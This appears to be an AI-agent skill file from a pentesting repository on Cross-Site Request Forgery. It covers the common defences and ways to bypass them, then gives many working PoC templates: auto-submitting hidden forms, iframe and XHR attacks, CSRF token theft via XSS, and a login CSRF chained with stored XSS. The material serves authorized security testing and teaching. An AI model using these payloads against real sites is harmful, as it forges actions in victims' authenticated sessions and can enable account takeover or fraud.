Hacktricks-skills csrf-testing

Cross-Site Request Forgery (CSRF) vulnerability testing and exploitation. Use this skill whenever the user mentions CSRF, cross-site request forgery, form submission attacks, session hijacking, web security testing, or needs to test web applications for CSRF vulnerabilities. Trigger for any request involving CSRF token bypass, CSRF PoC generation, or CSRF defense analysis.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/csrf-cross-site-request-forgery/SKILL.MD
source content

CSRF Testing Skill

A comprehensive skill for identifying, testing, and exploiting Cross-Site Request Forgery (CSRF) vulnerabilities in web applications.

When to Use This Skill

Use this skill when:

  • Testing web applications for CSRF vulnerabilities
  • Generating CSRF proof-of-concept (PoC) payloads
  • Analyzing CSRF token implementations and bypass techniques
  • Reviewing CSRF defense mechanisms
  • Converting POST requests to GET for CSRF testing
  • Testing method override bypasses
  • Exfiltrating CSRF tokens via XSS or other injection vectors
  • Creating automated CSRF testing workflows

CSRF Fundamentals

What is CSRF?

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows attackers to perform actions on behalf of authenticated users by exploiting their active sessions. The attack works by tricking the victim's browser into sending requests to a target application while the user is logged in.

Prerequisites for CSRF Exploitation

  1. Valuable Action: Identify state-changing operations (password change, email update, privilege escalation, fund transfer)
  2. Session Management: User session must be managed via cookies or HTTP Basic Auth
  3. No Unpredictable Parameters: Request should not contain unpredictable tokens or values

Quick CSRF Check

Capture the request in Burp Suite and:

  1. Click "Copy as fetch" to inspect the request
  2. Check for CSRF tokens in parameters or headers
  3. Verify SameSite cookie attributes
  4. Test if the request works without CSRF protection

Defense Mechanisms and Bypasses

1. SameSite Cookies

Defense:

SameSite=Strict
or
SameSite=Lax
prevents cross-site cookie transmission.

Bypass:

SameSite=Lax
still allows top-level navigations (links, form GETs). Many GET-based CSRFs remain possible.

2. CSRF Tokens

Defense: Unique token per session, validated on state-changing requests.

Bypasses:

  • Missing Token Validation: Token parameter exists but isn't validated when absent
  • Empty Token Accepted:
    csrf=
    with empty value passes validation
  • Global Token Pool: Token not bound to user session, works across all users
  • Token in Cookie Only: Can be set via CRLF injection or other cookie manipulation

3. Referer/Origin Header Checks

Defense: Validate

Referer
or
Origin
headers match trusted domains.

Bypasses:

  • Omit Header:
    <meta name="referrer" content="never">
  • Substring Matching:
    http://example.com.mal.net
    or
    http://mal.net?orig=http://example.com
  • Query Parameter Injection: Set domain in URL query string with
    unsafe-url
    referrer policy

4. Method-Based Validation

Defense: Only validate CSRF on POST requests.

Bypasses:

  • POST to GET: If endpoint accepts
    $_REQUEST
    , convert POST to GET
  • Method Override: Use
    _method=DELETE
    or headers like
    X-HTTP-Method-Override
  • HEAD Method: Some routers process HEAD as GET without body

5. Content-Type Based

Defense: Validate specific Content-Type headers.

Bypasses:

  • Simple Request Types:
    application/x-www-form-urlencoded
    ,
    multipart/form-data
    ,
    text/plain
    avoid preflight
  • JSON as text/plain: Send JSON payload with
    enctype="text/plain"
  • Custom Content-Type:
    text/plain; application/json
    may bypass preflight

CSRF PoC Templates

Basic GET Request (Image Tag)

<img src="https://target.com/action?param=value" style="display:none" />

Basic GET Request (Form)

<html>
  <body>
    <script>history.pushState("", "", "/")</script>
    <form method="GET" action="https://target.com/action">
      <input type="hidden" name="param" value="value" />
      <input type="submit" value="Submit" />
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Basic POST Request (Form)

<html>
  <body>
    <script>history.pushState("", "", "/")</script>
    <form method="POST" action="https://target.com/action" id="csrf-form">
      <input type="hidden" name="param" value="value" />
      <input type="submit" value="Submit" />
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

POST with Method Override

<form method="POST" action="https://target.com/action">
  <input type="hidden" name="_method" value="DELETE" />
  <input type="hidden" name="param" value="value" />
  <button type="submit">Submit</button>
</form>

POST with Empty CSRF Token

<form method="POST" action="https://target.com/action">
  <input type="hidden" name="param" value="value" />
  <input type="hidden" name="csrf" value="" />
  <button type="submit">Submit</button>
</form>

POST via Hidden Iframe

<html>
  <body>
    <iframe style="display:none" name="csrf-frame"></iframe>
    <form method="POST" action="https://target.com/action" target="csrf-frame">
      <input type="hidden" name="param" value="value" />
      <button type="submit">Submit</button>
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

AJAX POST Request

<script>
  var xhr = new XMLHttpRequest();
  xhr.withCredentials = true;
  xhr.open("POST", "https://target.com/action");
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhr.send("param=value");
</script>

Multipart Form Data POST

<script>
  var formData = new FormData();
  var blob = new Blob(["file content"], { type: "text/plain" });
  formData.append("file", blob, "filename.txt");
  
  fetch("https://target.com/action", {
    method: "POST",
    body: formData,
    credentials: "include",
    mode: "no-cors"
  });
</script>

JSON as text/plain (Bypass Preflight)

<html>
  <body>
    <form id="form" method="post" action="https://target.com/action" enctype="text/plain">
      <input name='{"key":"' value='"value"}' />
    </form>
    <script>document.getElementById("form").submit()</script>
  </body>
</html>

Referrer Header Bypass

<html>
  <head>
    <meta name="referrer" content="unsafe-url" />
  </head>
  <body>
    <script>history.pushState("", "", "?target-domain.com")</script>
    <form method="POST" action="https://target.com/action">
      <input type="hidden" name="param" value="value" />
      <button type="submit">Submit</button>
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Referrer Header Omission

<html>
  <head>
    <meta name="referrer" content="never" />
  </head>
  <body>
    <form method="POST" action="https://target.com/action">
      <input type="hidden" name="param" value="value" />
      <button type="submit">Submit</button>
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Advanced Exploitation Techniques

Token Exfiltration via XSS

If XSS is available, extract CSRF token and use it:

function stealAndUseToken() {
  var xhr = new XMLHttpRequest();
  xhr.responseType = "document";
  xhr.withCredentials = true;
  xhr.open("GET", "https://target.com/page-with-token");
  xhr.onload = function() {
    var token = xhr.response.getElementById("csrf-token").value;
    var postXHR = new XMLHttpRequest();
    postXHR.withCredentials = true;
    postXHR.open("POST", "https://target.com/action");
    postXHR.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    postXHR.send("csrf=" + token + "&param=value");
  };
  xhr.send();
}

Token Exfiltration via Iframe

<form id="form1" action="https://target.com/action" method="post">
  <input type="hidden" name="token" id="token" value="" />
  <input type="hidden" name="param" value="value" />
</form>

<iframe id="i1" style="display:none" src="https://target.com/page-with-token" onload="extractToken()"></iframe>

<script>
  function extractToken() {
    var iframe = document.getElementById("i1");
    var iframeDoc = iframe.contentWindow || iframe.contentDocument;
    var token = iframeDoc.document.getElementById("csrf-token").value;
    document.getElementById("token").value = token;
    document.getElementById("form1").submit();
  }
</script>

Socket.IO CSRF

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
  let socket = io("https://target.com/socket");
  socket.on("connect", () => {
    socket.emit("action", { data: "malicious-payload" });
  });
</script>

Login CSRF (Chain with Stored XSS)

<html>
  <body>
    <form action="https://target.com/login" method="POST">
      <input type="hidden" name="username" value="attacker@example.com" />
      <input type="hidden" name="password" value="StrongPass123!" />
      <input type="submit" value="Login" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
      // Redirect to page with stored XSS
      // location = 'https://target.com/app/inbox';
    </script>
  </body>
</html>

Testing Workflow

Step 1: Identify State-Changing Endpoints

  1. Map all POST, PUT, DELETE, PATCH endpoints
  2. Look for actions: password change, email update, profile edit, fund transfer, settings modification
  3. Check for GET endpoints that perform state changes

Step 2: Analyze CSRF Protections

  1. Check for tokens: Look for
    csrf
    ,
    token
    ,
    _token
    ,
    __csrf_token
    in forms/headers
  2. Check cookies: Examine
    SameSite
    attribute
  3. Check headers: Look for
    X-CSRF-Token
    ,
    X-XSRF-TOKEN
    , custom headers
  4. Check Referer/Origin validation: Test with missing or modified headers

Step 3: Test Bypass Techniques

  1. Remove token: Submit request without CSRF token parameter
  2. Empty token: Submit with
    csrf=
    or
    token=
  3. Method change: Convert POST to GET, test HEAD method
  4. Method override: Add
    _method=DELETE
    or override headers
  5. Content-Type change: Try
    text/plain
    ,
    application/json
    with different encodings
  6. Header manipulation: Omit Referer, modify Origin

Step 4: Generate PoC

Use the templates above or run the PoC generator script:

python scripts/csrf-poc-generator.py --url "https://target.com/action" --method POST --params "param=value" --output poc.html

Common HTML Tags for GET CSRF

<img src="https://target.com/action?param=value" />
<iframe src="https://target.com/action?param=value"></iframe>
<script src="https://target.com/action?param=value"></script>
<embed src="https://target.com/action?param=value" />
<audio src="https://target.com/action?param=value"></audio>
<video src="https://target.com/action?param=value"></video>
<link rel="stylesheet" href="https://target.com/action?param=value" />
<object data="https://target.com/action?param=value"></object>
<body background="https://target.com/action?param=value">
<div style="background: url('https://target.com/action?param=value')"></div>
<bgsound src="https://target.com/action?param=value" />
<input type="image" src="https://target.com/action?param=value" />

Tools

References

Important Notes

  1. Always get authorization before testing CSRF on any application
  2. Document findings with working PoCs for responsible disclosure
  3. Consider impact: Some CSRF vulnerabilities can lead to account takeover, data theft, or financial loss
  4. Chain vulnerabilities: CSRF + XSS = severe impact; CSRF + IDOR = privilege escalation
  5. Test in context: CSRF behavior may vary based on user role, session state, and application configuration